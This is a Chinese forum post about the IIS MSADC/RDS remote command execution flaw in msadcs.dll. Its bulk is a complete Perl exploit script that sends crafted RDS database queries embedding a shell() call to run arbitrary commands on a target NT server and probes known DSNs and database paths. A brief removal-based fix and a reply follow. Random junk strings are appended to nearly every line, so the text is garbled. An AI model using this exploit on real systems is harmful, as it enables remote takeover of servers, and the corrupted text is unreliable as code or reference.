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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) $-J=UT2m  
oh @|*RU  
涉及程序:  ~T'!.^/  
Microsoft NT server YXFUZ9a#e  
axpn*(yE  
描述: /XeCJxo8  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ws_/F  
O{Y_j&1  
详细: usFhcU  
如果你没有时间读详细内容的话,就删除: 2Nau]y]=  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ywCF{rRd  
有关的安全问题就没有了。 LQr+)wI  
fRow@DI\  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 i& phko}  
*~b}]M700  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 xnp5XhU  
关于利用ODBC远程漏洞的描述,请参看: k X1#+X  
~4}'R_  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |B` mWZ'"  
:wR aB7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 U~nW>WJ+.  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2Jl$/W 3  
$={^':Uh  
这里不再论述。 Ra~|;( %d  
{~=Z%Cj2Q  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: k04CSzE"%  
eGEeWJ}[$  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ;vkk$ -  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ]NRQM8\  
:jP4GCxU|  
%s(Ri6R&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" tl@n}   
=eB^( !M  
#!perl ` yXJaTbo  
# J;mvD^`g  
# MSADC/RDS 'usage' (aka exploit) script )r +o51gp  
# q'zV9  
# by rain.forest.puppy zmEg4v'I  
# K3xs=q]:@  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 4!,`|W1  
# beta test and find errors! 2(%C  
Ug=)_~  
use Socket; use Getopt::Std; X v2u7T\  
getopts("e:vd:h:XR", \%args); Lfj]Y~*z  
Ic,V ,#my  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Q9C; _Up  
X1J'  
if (!defined $args{h} && !defined $args{R}) { |."thTO  
print qq~ @*s7~:VQ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } '4 x uH3  
-h <host> = host you want to scan (ip or domain) -$0w-M8'  
-d <seconds> = delay between calls, default 1 second ta)'z@V@g  
-X = dump Index Server path table, if available !}$,) ~<+H  
-v = verbose oDvE0"Sz  
-e = external dictionary file for step 5 /OaW4 b$Tz  
N:]Ud(VRM  
Or a -R will resume a command session So^;5tG  
l A1l  
~; exit;} A"PmoV?lAm  
_=s{,t &u  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; q n2X._`  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ^CtA@4  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `~S ; UG   
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ~,: FZ1wh  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} %Q2<bj]  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } iAWd 9x  
*H''.6  
if (!defined $args{R}){ $ret = &has_msadc; PL6f**{-  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} m@2;9  
bFt$u]Yvo  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" v_s(  
. "cmd /c "; Gi9s*v,s  
$in=<STDIN>; chomp $in; *|F ;An.N^  
$command="cmd /c " . $in ; 'nR'o /!  
"7RnT3  
if (defined $args{R}) {&load; exit;} .V.x0  
8G6[\P3fQ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 2TxHY|4  
&try_btcustmr; }-8ZSWog6f  
WXgGB[x  
print "\nStep 2: Trying to make our own DSN..."; {YoK63b$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; q=+AN</  
\as^z!<  
print "\nStep 3: Trying known DSNs..."; ZY Ci&l  
&known_dsn; p~!UE/V  
fkjo  
print "\nStep 4: Trying known .mdbs..."; FLE2]cL-  
&known_mdb; O,+ZD^  
?~_[/  
if (defined $args{e}){ }wkZ\q[  
print "\nStep 5: Trying dictionary of DSN names..."; @$bEY#*C  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } [ {|868  
74u_YA<"  
print "Sorry Charley...maybe next time?\n";  t R(Nko  
exit; sBuOKT/j  
&qO#EEqG]  
############################################################################## *53@%9 {u  
/ivA[LSS  
sub sendraw { # ripped and modded from whisker "N\tR[P!  
sleep($delay); # it's a DoS on the server! At least on mine... o(5eb;"yi>  
my ($pstr)=@_; y))) {X  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || BWHH:cX  
die("Socket problems\n"); " F3M  m  
if(connect(S,pack "SnA4x8",2,80,$target)){ 1[&V6=n  
select(S); $|=1; }kK6"]Tj  
print $pstr; my @in=<S>;  `[=3_  
select(STDOUT); close(S); ]3/_?n-"`  
return @in; {0t-Q k  
} else { die("Can't connect...\n"); }} d2!A32m  
B{^ojV;]m  
############################################################################## j$u=7Z&E  
=OUms@xcE  
sub make_header { # make the HTTP request ys#V_ysb  
my $msadc=<<EOT R3`h$`G  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -{tB&V~+v  
User-Agent: ACTIVEDATA rbEUq.Yk]~  
Host: $ip *sPG,6>  
Content-Length: $clen j0F'I*Z3  
Connection: Keep-Alive 'q:t48&  
ff3HR+%M  
ADCClientVersion:01.06 u#c3T'E  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 *;noZ9{"+  
ee+*&CT)  
--!ADM!ROX!YOUR!WORLD! g=gWkN <  
Content-Type: application/x-varg -3)]IA  
Content-Length: $reqlen jZ5 mpYUO  
K\2UwX  
EOT ;:/<XfZ  
; $msadc=~s/\n/\r\n/g; 9:\YEs"  
return $msadc;} NGYUZ\m  
M&/([ >Q  
############################################################################## 6S2u%-]  
!B#Lea  
sub make_req { # make the RDS request |~y>R#u8pm  
my ($switch, $p1, $p2)=@_; 9AGf4tuy  
my $req=""; my $t1, $t2, $query, $dsn; <:t D m  
q|N/vkqPz  
if ($switch==1){ # this is the btcustmr.mdb query !jIpgs5  
$query="Select * from Customers where City=" . make_shell(); pFZ2(b&  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . H1bPNt63  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} F.%g_Xvk:  
=%\y E0#  
elsif ($switch==2){ # this is general make table query l1utk8'-  
$query="create table AZZ (B int, C varchar(10))"; s:fy *6=[Z  
$dsn="$p1";} 06dk K )`  
> kLUQ%zE@  
elsif ($switch==3){ # this is general exploit table query "{&?t}rj+  
$query="select * from AZZ where C=" . make_shell(); -S7y1 )7  
$dsn="$p1";} -q}c;0vL-a  
9PM\D@A{  
elsif ($switch==4){ # attempt to hork file info from index server AusCU~:>  
$query="select path from scope()"; VX`E7Sf!}  
$dsn="Provider=MSIDXS;";} T,sArKBI  
6u'+#nm  
elsif ($switch==5){ # bad query X4D>  
$query="select"; 8!T6N2O6d  
$dsn="$p1";} ]0+5@c  
EC]b]'._  
$t1= make_unicode($query); .8O.  
$t2= make_unicode($dsn); 0)?.rthk4S  
$req = "\x02\x00\x03\x00"; %e71BZo~^s  
$req.= "\x08\x00" . pack ("S1", length($t1)); jYv`kt  
$req.= "\x00\x00" . $t1 ; '^!1AGF  
$req.= "\x08\x00" . pack ("S1", length($t2)); a IA9rn  
$req.= "\x00\x00" . $t2 ; eVVm"96Q.;  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;ZSJ-r  
return $req;} Y@+e)p{  
9AxeA2/X  
############################################################################## KqE5{ q  
)225ee>  
sub make_shell { # this makes the shell() statement <H,q( :pM  
return "'|shell(\"$command\")|'";} ^zv,VD  
Buue][[  
############################################################################## ];vEj*jCX  
!='?+Ysxs  
sub make_unicode { # quick little function to convert to unicode xjplJ'jB  
my ($in)=@_; my $out; m-M.F9R  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } k6p Xc<]8  
return $out;} 5c W2  
)Yc jx~   
############################################################################## Wd R~  
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sub rdo_success { # checks for RDO return success (this is kludge) ^D{!!)O  
my (@in) = @_; my $base=content_start(@in); CfSpwkg  
if($in[$base]=~/multipart\/mixed/){ {5$.:Y  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 3V,$FS]  
return 0;} 4}4K6y<q  
YCWt%a*I'  
############################################################################## |@rPd=G^(/  
O!3MXmaO  
sub make_dsn { # this makes a DSN for us bm &$wf  
my @drives=("c","d","e","f"); bw@"MF{  
print "\nMaking DSN: "; /hojm6MM  
foreach $drive (@drives) { 7AE)P[  
print "$drive: "; " wB~*,Ny  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . I1IuvH6  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" <Ag`pZ<s  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); N<e=!LV  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; c']3N  
return 0 if $2 eq "404"; # not found/doesn't exist z^KMYvH g  
if($2 eq "200") { zB8 @Wl  
foreach $line (@results) { h7}D//~p  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} /MErS< 6  
} return 0;} +E{'A7im8=  
x/UmpJD+  
############################################################################## F@76V$U.  
B ``)  
sub verify_exists { :#?Z)oQpT  
my ($page)=@_; }bW"Z2^nB  
my @results=sendraw("GET $page HTTP/1.0\n\n"); /4]<ro67E6  
return $results[0];} fO;#;p.  
Q :<&<i=I  
############################################################################## |Sne\N>%  
)&Bf%1>  
sub try_btcustmr { "M)kV5v%  
my @drives=("c","d","e","f"); :{(` ;fJ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); O0"u-UX{  
*gq~~(jH  
foreach $dir (@dirs) { }# ~DX!Sj  
print "$dir -> "; # fun status so you can see progress ({GN.pC(  
foreach $drive (@drives) { {z4v_[-2CF  
print "$drive: "; # ditto J FYV@%1~  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 0Y%u[i/  
$reqlenlen=length( "$reqlen" ); IfeCSK,x  
$clen= 206 + $reqlenlen + $reqlen; Gk!06   
$P9'"a)Lm  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); z qM:'x*  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} XZ8#8Di8  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} q;W(;B  
YA";&|V  
############################################################################## |>/T*zk<  
*Zj2*e{Z9U  
sub odbc_error { ~^<ju6O'  
my (@in)=@_; my $base; 9`A}-YA !  
my $base = content_start(@in); 7S +YQ$_  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this tAI<[M@  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )L)jvCw,e  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W^es"\  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f1hjU~nJ  
return $in[$base+4].$in[$base+5].$in[$base+6];} x&ngCB@O  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; pj~Ao+  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . kw%vO6"q(  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} N8]DW_bsB  
kM#ZpI&0%  
############################################################################## 8PR1RC J  
zA~aiX  
sub verbose { Wfw6(L  
my ($in)=@_; {Q%"{h']  
return if !$verbose; N"tEXb/,  
print STDOUT "\n$in\n";} 4RLuv?,)~  
$.7Ov|  
############################################################################## 1>KZ1Kf  
ODggGB`H`  
sub save { 0u3"$o'R  
my ($p1, $p2, $p3, $p4)=@_; NZP>aV-  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ^}F@*A;o  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; c" |4'#S  
close OUT;} 4Jf6uhaE  
4iDlBs+  
############################################################################## .L#xX1qr  
@@?P\jv~  
sub load { L.cGt"{  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; %,Pwo{SH  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ySS kw7  
@p=<IN>; close(IN); uxxS."~  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); e\9H'$1\  
$target= inet_aton($ip) || die("inet_aton problems"); x#-+//  
print "Resuming to $ip ..."; vE}>PEfA  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a*qf\ &Vb|  
if($p[1]==1) { /3(|P  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Po ,zTz   
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; f vAF0 a  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); -0 e&>H%  
if (rdo_success(@results)){print "Success!\n";} 3I" <\M4x  
else { print "failed\n"; verbose(odbc_error(@results));}} 'Q^P#<<  
elsif ($p[1]==3){ l2AAEB_C.  
if(run_query("$p[3]")){ @TvoCDeI  
print "Success!\n";} else { print "failed\n"; }} `egyk)"aM  
elsif ($p[1]==4){ _&U5 u  
if(run_query($drvst . "$p[3]")){ jt*VD>ji  
print "Success!\n"; } else { print "failed\n"; }} B%.XWW$  
exit;} J:N4F.o&K  
K+`$*vS~ws  
############################################################################## gz,x6mnQ  
1L4-hYtCj  
sub create_table { !oJ226>WI  
my ($in)=@_; f&n6;N  
$reqlen=length( make_req(2,$in,"") ) - 28; &fIx2ZM[  
$reqlenlen=length( "$reqlen" ); zFR=inI  
$clen= 206 + $reqlenlen + $reqlen; -C>q,mDJZ  
my @results=sendraw(make_header() . make_req(2,$in,"")); iG.qMf.  
return 1 if rdo_success(@results); )|Ho"VEmg  
my $temp= odbc_error(@results); verbose($temp); 5Tb3Yy< .  
return 1 if $temp=~/Table 'AZZ' already exists/; zUe)f~4  
return 0;} K|OowM4tv  
_olhCLIR-  
############################################################################## 7AOjlC9R}  
XDot3)2`  
sub known_dsn { voD0 u  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >h[ {_+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", MPn 6sf9M  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ranlbxp2l  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); jn+M L&  
kW 7 $  
foreach $dSn (@dsns) { 3 zF"GT  
print "."; DKvNQ:fI>9  
next if (!is_access("DSN=$dSn")); 6G6B!x  
if(create_table("DSN=$dSn")){ ,.g9HO/R1  
print "$dSn successful\n"; m9&MTR D\  
if(run_query("DSN=$dSn")){ #VLO6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { XW^Sw;[efZ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ]Uy cT3A  
b6LwKUl  
############################################################################## jOE~?{8m  
`X=2Ff  
sub is_access { _LOV&83O(  
my ($in)=@_; =LUDg7P  
$reqlen=length( make_req(5,$in,"") ) - 28; LK?V`J5wY  
$reqlenlen=length( "$reqlen" ); Q)H1\  
$clen= 206 + $reqlenlen + $reqlen; M.[A%_|P  
my @results=sendraw(make_header() . make_req(5,$in,"")); r N.<S[  
my $temp= odbc_error(@results); ?)60JWOJ1  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); #wvmVB.5~  
return 0;} nVK`H@5fw  
Gx$rk<;ZW  
############################################################################## .t7mTpi  
!Q0aKkMfL  
sub run_query { s--\<v  
my ($in)=@_; =s\RK   
$reqlen=length( make_req(3,$in,"") ) - 28; <21@jdu3n,  
$reqlenlen=length( "$reqlen" ); lwhVP$q}  
$clen= 206 + $reqlenlen + $reqlen; Z,? T`[4B  
my @results=sendraw(make_header() . make_req(3,$in,"")); 6pKb!JJ  
return 1 if rdo_success(@results); !R`)S7!  
my $temp= odbc_error(@results); verbose($temp); '/h~O@Rw  
return 0;} n*HRGJ  
(16U]s  
############################################################################## ?9?eA^X%  
1l~(J:DT  
sub known_mdb { _BA2^C':c{  
my @drives=("c","d","e","f","g"); Ep@NT+VnI  
my @dirs=("winnt","winnt35","winnt351","win","windows"); tR;? o,T  
my $dir, $drive, $mdb; s*XwU  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; itp$c|{  
:Hn*|+'  
# this is sparse, because I don't know of many XQH wu  
my @sysmdbs=( "\\catroot\\icatalog.mdb", tSZd0G<A<o  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5GwXZ;(G  
"\\system32\\certmdb.mdb", x;G~c5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% gA&+<SK(  
z ]d^%>Ef  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", i l)LkZ@  
"\\cfusion\\cfapps\\forums\\forums_.mdb", .\W6XRw  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", \Jcj4  
"\\cfusion\\cfapps\\security\\realm_.mdb", X5M{No>z  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;M95A  
"\\cfusion\\database\\cfexamples.mdb", @ eQo  
"\\cfusion\\database\\cfsnippets.mdb", w'Cn3b)`  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", RCS91[  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", WC?}a^ 8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 'A|OVyH  
"\\cfusion\\database\\smpolicy.mdb", e2onR~Cf  
"\\cfusion\\database\cypress.mdb", j.5;0b_L^  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 9Xr@ll  
"\\website\\cgi-win\\dbsample.mdb", +Y:L4`  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [q MFLY$  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" :*{>=BD  
); #these are just o`!7 ~n  
foreach $drive (@drives) { Tt0:rQ.  
foreach $dir (@dirs){ => PBdW  
foreach $mdb (@sysmdbs) { * MJl(  
print "."; 8olR#>  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ }iK_7g`yKa  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; pxF<L\L?:  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ <IX)D `mf  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; }-e  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ~[|zf*ZISG  
VHyP@JB  
foreach $drive (@drives) { G?y'<+Awt  
foreach $mdb (@mdbs) { y[}O(  
print "."; pO~VI$7  
if(create_table($drv . $drive . $dir . $mdb)){ ^w+jPT-n  
print "\n" . $drive . $dir . $mdb . " successful\n"; R]-$]koQO  
if(run_query($drv . $drive . $dir . $mdb)){ .Fz5K&E=  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; f +#  
} else { print "Something's borked. Use verbose next time\n"; }}}} Od>^yhn  
} bwo{ Lw~  
A ko}v"d  
############################################################################## m-~eCFc  
PR&D67:Jy  
sub hork_idx { l<](8oc. w  
print "\nAttempting to dump Index Server tables...\n"; ) LA^j|Y}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; h%hE$2  
$reqlen=length( make_req(4,"","") ) - 28; "/EE$eU  
$reqlenlen=length( "$reqlen" ); s1[_Pk;!  
$clen= 206 + $reqlenlen + $reqlen; +18)e;   
my @results=sendraw2(make_header() . make_req(4,"","")); Y'.WO[dgf  
if (rdo_success(@results)){ K{ s=k/h  
my $max=@results; my $c; my %d; bi fi02  
for($c=19; $c<$max; $c++){ G]Jchg <  
$results[$c]=~s/\x00//g; .CrrjS w  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ~)S Q{eK?&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; H& #Od?  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; H3#xBn>9  
$d{"$1$2"}="";} -V'`;zE6  
foreach $c (keys %d){ print "$c\n"; } yqg&dq  
} else {print "Index server doesn't seem to be installed.\n"; }} DIk\=[{2q  
NZ\aK}?~!  
############################################################################## !eoN  
F4m Q#YlrS  
sub dsn_dict { LNp%]*h  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %^L :K5V  
while(<IN>){ ,|: a7b]  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; &M)S~Hb^  
next if (!is_access("DSN=$dSn")); /nK)esB1L  
if(create_table("DSN=$dSn")){ bw@Dc T&,  
print "$dSn successful\n"; S=Ihg  
if(run_query("DSN=$dSn")){ @~!1wPvF`I  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { a<.7q1F  
print "Something's borked. Use verbose next time\n";}}} >.D0McQg  
print "\n"; close(IN);} ;w(]z  
<JA`e+Bi  
############################################################################## hIj[#M&6  
%j].' ;  
sub sendraw2 { # ripped and modded from whisker +s6 wF{  
sleep($delay); # it's a DoS on the server! At least on mine... ${$XJs4  
my ($pstr)=@_; (8!#<$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || iL-I#"qT,  
die("Socket problems\n"); 7k<4/|CQ{  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6 ~b~[gA  
print "Connected. Getting data"; )e)@_0  
open(OUT,">raw.out"); my @in; o:\RJig<  
select(S); $|=1; print $pstr; K>kMKd1  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -R!qDA"  
close(OUT); select(STDOUT); close(S); return @in; w8t,?dY  
} else { die("Can't connect...\n"); }} LzEAA{  
lu^ c^p;  
############################################################################## ILUA'T=B0  
dqMR<Nl&  
sub content_start { # this will take in the server headers 9o.WJ   
my (@in)=@_; my $c; (K$K;f$"r  
for ($c=1;$c<500;$c++) { GHHErXT\a  
if($in[$c] =~/^\x0d\x0a/){ J&{qe@^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } WgdL^PN(h  
else { return $c+1; }}} ?VMj;+'tr  
return -1;} # it should never get here actually U~8.uldnF  
XpzdvR1  
############################################################################## w;.'>ORC  
&jgpeFiiC  
sub funky { 8#%p[TLj  
my (@in)=@_; my $error=odbc_error(@in); PN{l)&K2.  
if($error=~/ADO could not find the specified provider/){ u7u8cVF  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; v>3)^l:=Y*  
exit;} TEZ^Ia  
if($error=~/A Handler is required/){ khl(9R4a  
print "\nServer has custom handler filters (they most likely are patched)\n"; /Yk2 |L  
exit;} :&= TE2  
if($error=~/specified Handler has denied Access/){ L~1u?-zu  
print "\nServer has custom handler filters (they most likely are patched)\n"; &* 4uji  
exit;}} &XosDt  
b#-5b%ON  
############################################################################## pti`q )  
9i)E<.6  
sub has_msadc { \ ?[#>L4  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 3,j)PKf ;  
my $base=content_start(@results); -OpI,qyS  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 4#uWj ?u  
return 0;} $Yt29AQ  
\#5t%t  
######################## 'Y+AU#1~H  
?lv{;4BC  
zCD?5*7  
解决方案: oK h#th  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 7?K?-Oj  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 XM3N>OR.  
|KF X0*70  
拿出来充数 哈哈
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